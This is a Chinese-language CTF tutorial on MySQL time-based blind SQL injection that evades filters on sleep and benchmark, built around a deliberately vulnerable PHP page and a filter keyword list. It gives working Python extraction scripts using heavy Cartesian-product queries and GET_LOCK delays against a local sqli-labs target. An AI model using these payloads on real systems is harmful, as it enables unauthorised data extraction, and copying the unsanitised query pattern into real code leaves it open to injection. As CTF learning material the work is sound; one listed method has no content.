花式sql时间盲注

前言

时间盲注在ctf比赛和平时生产环境中都是比较常见的,但是当我们常用的函数被过滤的话,那该怎么办呢?
这里借一个题好好研究下

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>

第一处语句是不能注入的,因为被强制转换为了整数
看最后一行,$id没有任何转换就拼接入了update语句,于是,我们可以使用时间盲注获取数据
一般我们会用 sleep(5) 或者是 benchmark 来多次执行md5操作来换取比较长的执行时间来替代延时。那么是不是有别的方式替代呢?
这里有三个办法。

方法

方法一:笛卡尔积

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积。
但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,导致延时时间无法控制。
实际利用起来不算好用。
不过一般ctf题中的数据库应该不会太大,可以一试

1
SELECT count(*) FROM information_schema.columns A, information_schema.columns B;

这里选用information_schema.columns表的原因是其内部数据较多,到时候可以根据实际情况调换。
A,B的意思就是构成有序N元组,AB是其顺序。
查询结果如下

可以看到,当为有序三元组时,有了较为明显的延迟。
所以在写时间盲注脚本的时候把sleep函数替换为

1
(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)

即可。
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://127.0.0.1/Less-9/?id=1'

beg = "' and if(ascii(substr((select database()),{0},1))={1},"

end = "(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C),NULL);--+"
flag = ''
for i in range(1,11):
for j in range(32,127):
payload = url + beg.format(i,j) + end
print(payload)
try:
web = requests.get(payload,timeout=5)
except:
flag += chr(j)
print(flag)
break

方法二:GET_LOCK加锁

知识点
  • mysql_pconnect(server,user,pwd,clientflag)

    mysql_pconnect() 函数 打开一个到 MySQL 服务器的持久连接
    mysql_pconnect()mysql_connect() 非常相似,但有两个主要区别:
    1、当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,
    如果找到,则返回此连接标识而不打开新连接。
    2、当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用
    (mysql_close() 不会关闭由 mysql_pconnect() 建立的连接)。

  • get_lock(str,timeout)

    Tries to obtain a lock with a name given by the string str, using a timeout of timeout seconds. A negative timeout value means infinite timeout. The lock is exclusive. While held by one session, other sessions cannot obtain a lock of the same name.
    get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。
    在一个session中锁定变量,同时通过另外一个session执行,将会产生延时

举个栗子
打开两个mysql的shell
现在一个shell中执行命令 select get_lock(‘test’,5) 先上锁
然后另外一个shell中执行重复的命令

第二个shell中便出现延迟

至于为什么出现上图的情况吗。。。。
原理不明。。。。
所以写脚本的时候,先加锁,在盲注即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'http://127.0.0.1/Less-9/?id=1'

beg = "' and if(ascii(substr((select database()),{0},1))={1},"

end = "(select get_lock('test',8)),NULL);--+"
flag = ''
prepare = requests.get(url+"' and select get_lock('test',8)--+")
for i in range(1,11):
for j in range(37,127):
payload = url + beg.format(i,j) + end
print(payload)
try:
web = requests.get(payload,timeout=5)
except:
flag += chr(j)
print(flag)
break

方法三:正则匹配延迟

方法四:Benchmark函数

1
2
3
4
5
6
7
8

mysql> select benchmark(10000000,sha(1));
+-------------------------------+
|benchmark(10000000,sha(1))|
+-------------------------------+
| 0|
+-------------------------------+
1 row in set (2.79 sec)

参考链接

MYSQL时间盲注五种延时方法
sql注入学到的延时盲注新式攻击